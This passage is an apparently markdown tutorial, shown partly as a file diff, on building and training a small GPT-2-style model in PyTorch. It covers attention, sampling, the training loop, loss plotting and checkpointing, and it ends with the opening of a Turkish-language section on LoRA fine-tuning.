def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert d_out % num_heads == 0, "d_out must be divisible by n_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
def forward(self, x):
b, num_tokens, d_in = x.shape
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.reshape(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
return self.layers(x)
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"])
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# Shortcut connection for attention block
shortcut = x
x = self.norm1(x)
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
# Shortcut connection for feed-forward block
shortcut = x
x = self.norm2(x)
x = self.ff(x)
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
return x
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
def forward(self, in_idx):
batch_size, seq_len = in_idx.shape
tok_embeds = self.tok_emb(in_idx)
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
x = self.drop_emb(x)
x = self.trf_blocks(x)
x = self.final_norm(x)
logits = self.out_head(x)
return logits
```
</details>
```python
# Download contents to train the data with
import os
import urllib.request
file_path = "the-verdict.txt"
url = "https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt"
if not os.path.exists(file_path):
with urllib.request.urlopen(url) as response:
text_data = response.read().decode('utf-8')
with open(file_path, "w", encoding="utf-8") as file:
file.write(text_data)
else:
with open(file_path, "r", encoding="utf-8") as file:
text_data = file.read()
total_characters = len(text_data)
tokenizer = tiktoken.get_encoding("gpt2")
total_tokens = len(tokenizer.encode(text_data))
print("Data downloaded")
print("Characters:", total_characters)
print("Tokens:", total_tokens)
# Model initialization
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 256, # Shortened context length (orig: 1024)
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-key-value bias
}
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.eval()
print ("Model initialized")
# Functions to transform from tokens to ids and from to ids to tokens
def text_to_token_ids(text, tokenizer):
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
return encoded_tensor
def token_ids_to_text(token_ids, tokenizer):
flat = token_ids.squeeze(0) # remove batch dimension
return tokenizer.decode(flat.tolist())
# Define loss functions
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
return loss
def calc_loss_loader(data_loader, model, device, num_batches=None):
total_loss = 0.
if len(data_loader) == 0:
return float("nan")
elif num_batches is None:
num_batches = len(data_loader)
else:
# Reduce the number of batches to match the total number of batches in the data loader
# if num_batches exceeds the number of batches in the data loader
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
loss = calc_loss_batch(input_batch, target_batch, model, device)
total_loss += loss.item()
else:
break
return total_loss / num_batches
# Apply Train/validation ratio and create dataloaders
train_ratio = 0.90
split_idx = int(train_ratio * len(text_data))
train_data = text_data[:split_idx]
val_data = text_data[split_idx:]
torch.manual_seed(123)
train_loader = create_dataloader_v1(
train_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=True,
shuffle=True,
num_workers=0
)
val_loader = create_dataloader_v1(
val_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=False,
shuffle=False,
num_workers=0
)
# Sanity checks
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the training loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"increase the `training_ratio`")
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the validation loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"decrease the `training_ratio`")
print("Train loader:")
for x, y in train_loader:
print(x.shape, y.shape)
print("\nValidation loader:")
for x, y in val_loader:
print(x.shape, y.shape)
train_tokens = 0
for input_batch, target_batch in train_loader:
train_tokens += input_batch.numel()
val_tokens = 0
for input_batch, target_batch in val_loader:
val_tokens += input_batch.numel()
print("Training tokens:", train_tokens)
print("Validation tokens:", val_tokens)
print("All tokens:", train_tokens + val_tokens)
# Indicate the device to use
if torch.cuda.is_available():
device = torch.device("cuda")
elif torch.backends.mps.is_available():
device = torch.device("mps")
else:
device = torch.device("cpu")
print(f"Using {device} device.")
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
# Pre-calculate losses without starting yet
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
train_loss = calc_loss_loader(train_loader, model, device)
val_loss = calc_loss_loader(val_loader, model, device)
print("Training loss:", train_loss)
print("Validation loss:", val_loss)
# Functions to train the data
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
eval_freq, eval_iter, start_context, tokenizer):
# Initialize lists to track losses and tokens seen
train_losses, val_losses, track_tokens_seen = [], [], []
tokens_seen, global_step = 0, -1
# Main training loop
for epoch in range(num_epochs):
model.train() # Set model to training mode
for input_batch, target_batch in train_loader:
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
loss = calc_loss_batch(input_batch, target_batch, model, device)
loss.backward() # Calculate loss gradients
optimizer.step() # Update model weights using loss gradients
tokens_seen += input_batch.numel()
global_step += 1
# Optional evaluation step
if global_step % eval_freq == 0:
train_loss, val_loss = evaluate_model(
model, train_loader, val_loader, device, eval_iter)
train_losses.append(train_loss)
val_losses.append(val_loss)
track_tokens_seen.append(tokens_seen)
print(f"Ep {epoch+1} (Step {global_step:06d}): "
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
# Print a sample text after each epoch
generate_and_print_sample(
model, tokenizer, device, start_context
)
return train_losses, val_losses, track_tokens_seen
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
model.eval()
with torch.no_grad():
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
model.train()
return train_loss, val_loss
def generate_and_print_sample(model, tokenizer, device, start_context):
model.eval()
context_size = model.pos_emb.weight.shape[0]
encoded = text_to_token_ids(start_context, tokenizer).to(device)
with torch.no_grad():
token_ids = generate_text(
model=model, idx=encoded,
max_new_tokens=50, context_size=context_size
)
decoded_text = token_ids_to_text(token_ids, tokenizer)
print(decoded_text.replace("\n", " ")) # Compact print format
model.train()
# Start training!
import time
start_time = time.time()
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.to(device)
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
num_epochs = 10
train_losses, val_losses, tokens_seen = train_model_simple(
model, train_loader, val_loader, optimizer, device,
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
start_context="Every effort moves you", tokenizer=tokenizer
)
end_time = time.time()
execution_time_minutes = (end_time - start_time) / 60
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
# Show graphics with the training process
import matplotlib.pyplot as plt
from matplotlib.ticker import MaxNLocator
import math
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
fig, ax1 = plt.subplots(figsize=(5, 3))
ax1.plot(epochs_seen, train_losses, label="Training loss")
ax1.plot(
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
)
ax1.set_xlabel("Epochs")
ax1.set_ylabel("Loss")
ax1.legend(loc="upper right")
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
ax2 = ax1.twiny()
ax2.plot(tokens_seen, train_losses, alpha=0)
ax2.set_xlabel("Tokens seen")
fig.tight_layout()
plt.show()
# Compute perplexity from the loss values
train_ppls = [math.exp(loss) for loss in train_losses]
val_ppls = [math.exp(loss) for loss in val_losses]
# Plot perplexity over tokens seen
plt.figure()
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
plt.xlabel('Tokens Seen')
plt.ylabel('Perplexity')
plt.title('Perplexity over Training')
plt.legend()
plt.show()
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
torch.save({
"model_state_dict": model.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
},
"/tmp/model_and_optimizer.pth"
)
```
Let's see an explanation step by step
### Functions to transform text <--> ids
These are some simple functions that can be used to transform from texts from the vocabulary to ids and backwards. This is needed at the begging of the handling of the text and at the end fo the predictions:
```python
# Functions to transform from tokens to ids and from to ids to tokens
def text_to_token_ids(text, tokenizer):
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
return encoded_tensor
def token_ids_to_text(token_ids, tokenizer):
flat = token_ids.squeeze(0) # remove batch dimension
return tokenizer.decode(flat.tolist())
```
### Generate text functions
In a previos section a function that just got the **most probable token** after getting the logits. However, this will mean that for each entry the same output is always going to be generated which makes it very deterministic.
The following `generate_text` function, will apply the `top-k` , `temperature` and `multinomial` concepts.
- The **`top-k`** means that we will start reducing to `-inf` all the probabilities of all the tokens expect of the top k tokens. So, if k=3, before making a decision only the 3 most probably tokens will have a probability different from `-inf`.
- The **`temperature`** means that every probability will be divided by the temperature value. A value of `0.1` will improve the highest probability compared with the lowest one, while a temperature of `5` for example will make it more flat. This helps to improve to variation in responses we would like the LLM to have.
- After applying the temperature, a **`softmax`** function is applied again to make all the reminding tokens have a total probability of 1.
- Finally, instead of choosing the token with the biggest probability, the function **`multinomial`** is applied to **predict the next token according to the final probabilities**. So if token 1 had a 70% of probabilities, token 2 a 20% and token 3 a 10%, 70% of the times token 1 will be selected, 20% of the times it will be token 2 and 10% of the times will be 10%.
```python
# Generate text function
def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None):
# For-loop is the same as before: Get logits, and only focus on last time step
for _ in range(max_new_tokens):
idx_cond = idx[:, -context_size:]
with torch.no_grad():
logits = model(idx_cond)
logits = logits[:, -1, :]
# New: Filter logits with top_k sampling
if top_k is not None:
# Keep only top_k values
top_logits, _ = torch.topk(logits, top_k)
min_val = top_logits[:, -1]
logits = torch.where(logits < min_val, torch.tensor(float("-inf")).to(logits.device), logits)
# New: Apply temperature scaling
if temperature > 0.0:
logits = logits / temperature
# Apply softmax to get probabilities
probs = torch.softmax(logits, dim=-1) # (batch_size, context_len)
# Sample from the distribution
idx_next = torch.multinomial(probs, num_samples=1) # (batch_size, 1)
# Otherwise same as before: get idx of the vocab entry with the highest logits value
else:
idx_next = torch.argmax(logits, dim=-1, keepdim=True) # (batch_size, 1)
if idx_next == eos_id: # Stop generating early if end-of-sequence token is encountered and eos_id is specified
break
# Same as before: append sampled index to the running sequence
idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
return idx
```
> [!NOTE]
> There is a common alternative to `top-k` called [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), also known as nucleus sampling, which instead of getting k samples with the most probability, it **organizes** all the resulting **vocabulary** by probabilities and **sums** them from the highest probability to the lowest until a **threshold is reached**.
>
> Then, **only those words** of the vocabulary will be considered according to their relative probabilities&#x20;
>
> This allows to not need to select a number of `k` samples, as the optimal k might be different on each case, but **only a threshold**.
>
> _Note that this improvement isn't included in the previous code._
> [!NOTE]
> Another way to improve the generated text is by using **Beam search** instead of the greedy search sued in this example.\
> Unlike greedy search, which selects the most probable next word at each step and builds a single sequence, **beam search keeps track of the top 𝑘 k highest-scoring partial sequences** (called "beams") at each step. By exploring multiple possibilities simultaneously, it balances efficiency and quality, increasing the chances of **finding a better overall** sequence that might be missed by the greedy approach due to early, suboptimal choices.
>
> _Note that this improvement isn't included in the previous code._
### Loss functions
The **`calc_loss_batch`** function calculates the cross entropy of the a prediction of a single batch.\
The **`calc_loss_loader`** gets the cross entropy of all the batches and calculates the **average cross entropy**.
```python
# Define loss functions
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
return loss
def calc_loss_loader(data_loader, model, device, num_batches=None):
total_loss = 0.
if len(data_loader) == 0:
return float("nan")
elif num_batches is None:
num_batches = len(data_loader)
else:
# Reduce the number of batches to match the total number of batches in the data loader
# if num_batches exceeds the number of batches in the data loader
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
loss = calc_loss_batch(input_batch, target_batch, model, device)
total_loss += loss.item()
else:
break
return total_loss / num_batches
```
> [!NOTE]
> **Gradient clipping** is a technique used to enhance **training stability** in large neural networks by setting a **maximum threshold** for gradient magnitudes. When gradients exceed this predefined `max_norm`, they are scaled down proportionally to ensure that updates to the models parameters remain within a manageable range, preventing issues like exploding gradients and ensuring more controlled and stable training.
>
> _Note that this improvement isn't included in the previous code._
>
> Check the following example:
<figure><img src="../../images/image (6) (1).png" alt=""><figcaption></figcaption></figure>
### Loading Data
The functions `create_dataloader_v1` and `create_dataloader_v1` were already discussed in a previous section.
From here note how it's defined that 90% of the text is going to be used for training while the 10% will be used for validation and both sets are stored in 2 different data loaders.\
Note that some times part of the data set is also left for a testing set to evaluate better the performance of the model.
Both data loaders are using the same batch size, maximum length and stride and num workers (0 in this case).\
The main differences are the data used by each, and the the validators is not dropping the last neither shuffling the data is it's not needed for validation purposes.
Also the fact that **stride is as big as the context length**, means that there won't be overlapping between contexts used to train the data (reduces overfitting but also the training data set).
Moreover, note that the batch size in this case it 2 to divide the data in 2 batches, the main goal of this is to allow parallel processing and reduce the consumption per batch.
```python
train_ratio = 0.90
split_idx = int(train_ratio * len(text_data))
train_data = text_data[:split_idx]
val_data = text_data[split_idx:]
torch.manual_seed(123)
train_loader = create_dataloader_v1(
train_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=True,
shuffle=True,
num_workers=0
)
val_loader = create_dataloader_v1(
val_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=False,
shuffle=False,
num_workers=0
)
```
## Sanity Checks
The goal is to check there are enough tokens for training, shapes are the expected ones and get some info about the number of tokens used for training and for validation:
```python
# Sanity checks
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the training loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"increase the `training_ratio`")
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the validation loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"decrease the `training_ratio`")
print("Train loader:")
for x, y in train_loader:
print(x.shape, y.shape)
print("\nValidation loader:")
for x, y in val_loader:
print(x.shape, y.shape)
train_tokens = 0
for input_batch, target_batch in train_loader:
train_tokens += input_batch.numel()
val_tokens = 0
for input_batch, target_batch in val_loader:
val_tokens += input_batch.numel()
print("Training tokens:", train_tokens)
print("Validation tokens:", val_tokens)
print("All tokens:", train_tokens + val_tokens)
```
### Select device for training & pre calculations
The following code just select the device to use and calculates a training loss and validation loss (without having trained anything yet) as a starting point.
```python
# Indicate the device to use
if torch.cuda.is_available():
device = torch.device("cuda")
elif torch.backends.mps.is_available():
device = torch.device("mps")
else:
device = torch.device("cpu")
print(f"Using {device} device.")
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
# Pre-calculate losses without starting yet
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
train_loss = calc_loss_loader(train_loader, model, device)
val_loss = calc_loss_loader(val_loader, model, device)
print("Training loss:", train_loss)
print("Validation loss:", val_loss)
```
### Training functions
The function `generate_and_print_sample` will just get a context and generate some tokens in order to get a feeling about how good is the model at that point. This is called by `train_model_simple` on each step.
The function `evaluate_model` is called as frequently as indicate to the training function and it's used to measure the train loss and the validation loss at that point in the model training.
Then the big function `train_model_simple` is the one that actually train the model. It expects:
- The train data loader (with the data already separated and prepared for training)
- The validator loader
- The **optimizer** to use during training: This is the function that will use the gradients and will update the parameters to reduce the loss. In this case, as you will see, `AdamW` is used, but there are many more.
- `optimizer.zero_grad()` is called to reset the gradients on each round to not accumulate them.
- The **`lr`** param is the **learning rate** which determines the **size of the steps** taken during the optimization process when updating the model's parameters. A **smaller** learning rate means the optimizer **makes smaller updates** to the weights, which can lead to more **precise** convergence but might **slow down** training. A **larger** learning rate can speed up training but **risks overshooting** the minimum of the loss function (**jump over** the point where the loss function is minimized).
- **Weight Decay** modifies the **Loss Calculation** step by adding an extra term that penalizes large weights. This encourages the optimizer to find solutions with smaller weights, balancing between fitting the data well and keeping the model simple preventing overfitting in machine learning models by discouraging the model from assigning too much importance to any single feature.
- Traditional optimizers like SGD with L2 regularization couple weight decay with the gradient of the loss function. However, **AdamW** (a variant of Adam optimizer) decouples weight decay from the gradient update, leading to more effective regularization.
- The device to use for training
- The number of epochs: Number of times to go over the training data
- The evaluation frequency: The frequency to call `evaluate_model`
- The evaluation iteration: The number of batches to use when evaluating the current state of the model when calling `generate_and_print_sample`
- The start context: Which the starting sentence to use when calling `generate_and_print_sample`
- The tokenizer
```python
# Functions to train the data
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
eval_freq, eval_iter, start_context, tokenizer):
# Initialize lists to track losses and tokens seen
train_losses, val_losses, track_tokens_seen = [], [], []
tokens_seen, global_step = 0, -1
# Main training loop
for epoch in range(num_epochs):
model.train() # Set model to training mode
for input_batch, target_batch in train_loader:
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
loss = calc_loss_batch(input_batch, target_batch, model, device)
loss.backward() # Calculate loss gradients
optimizer.step() # Update model weights using loss gradients
tokens_seen += input_batch.numel()
global_step += 1
# Optional evaluation step
if global_step % eval_freq == 0:
train_loss, val_loss = evaluate_model(
model, train_loader, val_loader, device, eval_iter)
train_losses.append(train_loss)
val_losses.append(val_loss)
track_tokens_seen.append(tokens_seen)
print(f"Ep {epoch+1} (Step {global_step:06d}): "
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
# Print a sample text after each epoch
generate_and_print_sample(
model, tokenizer, device, start_context
)
return train_losses, val_losses, track_tokens_seen
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
model.eval() # Set in eval mode to avoid dropout
with torch.no_grad():
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
model.train() # Back to training model applying all the configurations
return train_loss, val_loss
def generate_and_print_sample(model, tokenizer, device, start_context):
model.eval() # Set in eval mode to avoid dropout
context_size = model.pos_emb.weight.shape[0]
encoded = text_to_token_ids(start_context, tokenizer).to(device)
with torch.no_grad():
token_ids = generate_text(
model=model, idx=encoded,
max_new_tokens=50, context_size=context_size
)
decoded_text = token_ids_to_text(token_ids, tokenizer)
print(decoded_text.replace("\n", " ")) # Compact print format
model.train() # Back to training model applying all the configurations
```
> [!NOTE]
> To improve the learning rate there are a couple relevant techniques called **linear warmup** and **cosine decay.**
>
> **Linear warmup** consist on define an initial learning rate and a maximum one and consistently update it after each epoch. This is because starting the training with smaller weight updates decreases the risk of the model encountering large, destabilizing updates during its training phase.\
> **Cosine decay** is a technique that **gradually reduces the learning rate** following a half-cosine curve **after the warmup** phase, slowing weight updates to **minimize the risk of overshooting** the loss minima and ensure training stability in later phases.
>
> _Note that these improvements aren't included in the previous code._
### Start training
```python
import time
start_time = time.time()
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.to(device)
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
num_epochs = 10
train_losses, val_losses, tokens_seen = train_model_simple(
model, train_loader, val_loader, optimizer, device,
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
start_context="Every effort moves you", tokenizer=tokenizer
)
end_time = time.time()
execution_time_minutes = (end_time - start_time) / 60
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
```
### Print training evolution
With the following function it's possible to print the evolution of the model while it was being trained.
```python
import matplotlib.pyplot as plt
from matplotlib.ticker import MaxNLocator
import math
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
fig, ax1 = plt.subplots(figsize=(5, 3))
ax1.plot(epochs_seen, train_losses, label="Training loss")
ax1.plot(
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
)
ax1.set_xlabel("Epochs")
ax1.set_ylabel("Loss")
ax1.legend(loc="upper right")
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
ax2 = ax1.twiny()
ax2.plot(tokens_seen, train_losses, alpha=0)
ax2.set_xlabel("Tokens seen")
fig.tight_layout()
plt.show()
# Compute perplexity from the loss values
train_ppls = [math.exp(loss) for loss in train_losses]
val_ppls = [math.exp(loss) for loss in val_losses]
# Plot perplexity over tokens seen
plt.figure()
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
plt.xlabel('Tokens Seen')
plt.ylabel('Perplexity')
plt.title('Perplexity over Training')
plt.legend()
plt.show()
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
```
### Save the model
It's possible to save the model + optimizer if you want to continue training later:
```python
# Save the model and the optimizer for later training
torch.save({
"model_state_dict": model.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
},
"/tmp/model_and_optimizer.pth"
)
# Note that this model with the optimizer occupied close to 2GB
# Restore model and optimizer for training
checkpoint = torch.load("/tmp/model_and_optimizer.pth", map_location=device)
model = GPTModel(GPT_CONFIG_124M)
model.load_state_dict(checkpoint["model_state_dict"])
optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1)
optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
model.train(); # Put in training mode
```
Or just the model if you are planing just on using it:
```python
# Save the model
torch.save(model.state_dict(), "model.pth")
# Load it
model = GPTModel(GPT_CONFIG_124M)
model.load_state_dict(torch.load("model.pth", map_location=device))
model.eval() # Put in eval mode
```
## Loading GPT2 weights
There 2 quick scripts to load the GPT2 weights locally. For both you can clone the repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) locally, then:
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) will download all the weights and transform the formats from OpenAI to the ones expected by our LLM. The script is also prepared with the needed configuration and with the prompt: "Every effort moves you"
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) allows you to load any of the GPT2 weights locally (just change the `CHOOSE_MODEL` var) and predict text from some prompts.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,61 +0,0 @@
# 7.0. LoRA İyileştirmeleri ile ince ayar
## LoRA İyileştirmeleri
> [!TIP]
> **LoRA'nın kullanımı,** zaten eğitilmiş modelleri **ince ayar yapmak için gereken hesaplamayı** büyük ölçüde azaltır.
LoRA, **büyük modelleri** yalnızca modelin **küçük bir kısmını** değiştirerek verimli bir şekilde ince ayar yapmayı mümkün kılar. Eğitmeniz gereken parametre sayısını azaltarak **hafıza** ve **hesaplama kaynakları** tasarrufu sağlar. Bunun nedeni:
1. **Eğitilebilir Parametre Sayısını Azaltır**: Modeldeki tüm ağırlık matrisini güncellemek yerine, LoRA **ağırlık matrisini** iki daha küçük matrise ( **A** ve **B** olarak adlandırılır) böler. Bu, eğitimi **daha hızlı** hale getirir ve daha az parametre güncellenmesi gerektiği için **daha az hafıza** gerektirir.
1. Bunun nedeni, bir katmanın (matrisin) tam ağırlık güncellemesini hesaplamak yerine, bunu 2 daha küçük matrisin çarpımı olarak yaklaşık olarak hesaplamasıdır ve güncellemeyi hesaplamayı azaltır:\
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
2. **Orijinal Model Ağırlıklarını Değiştirmeden Tutar**: LoRA, orijinal model ağırlıklarını aynı tutmanıza ve yalnızca **yeni küçük matrisleri** (A ve B) güncellemenize olanak tanır. Bu, modelin orijinal bilgisinin korunması anlamına geldiği için faydalıdır ve yalnızca gerekli olanı ayarlarsınız.
3. **Verimli Görev-Özel İnce Ayar**: Modeli **yeni bir göreve** uyarlamak istediğinizde, modelin geri kalanını olduğu gibi bırakırken yalnızca **küçük LoRA matrislerini** (A ve B) eğitebilirsiniz. Bu, tüm modeli yeniden eğitmekten **çok daha verimlidir**.
4. **Depolama Verimliliği**: İnce ayar yaptıktan sonra, her görev için **tamamen yeni bir modeli** kaydetmek yerine, yalnızca **LoRA matrislerini** saklamanız gerekir; bu matrisler, tüm modele kıyasla çok küçüktür. Bu, modeli çok fazla depolama alanı kullanmadan birçok göreve uyarlamayı kolaylaştırır.
LoRA katmanlarını ince ayar sırasında Lineer olanlar yerine uygulamak için, burada önerilen kod [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
```python
import math
# Create the LoRA layer with the 2 matrices and the alpha
class LoRALayer(torch.nn.Module):
def __init__(self, in_dim, out_dim, rank, alpha):
super().__init__()
self.A = torch.nn.Parameter(torch.empty(in_dim, rank))
torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization
self.B = torch.nn.Parameter(torch.zeros(rank, out_dim))
self.alpha = alpha
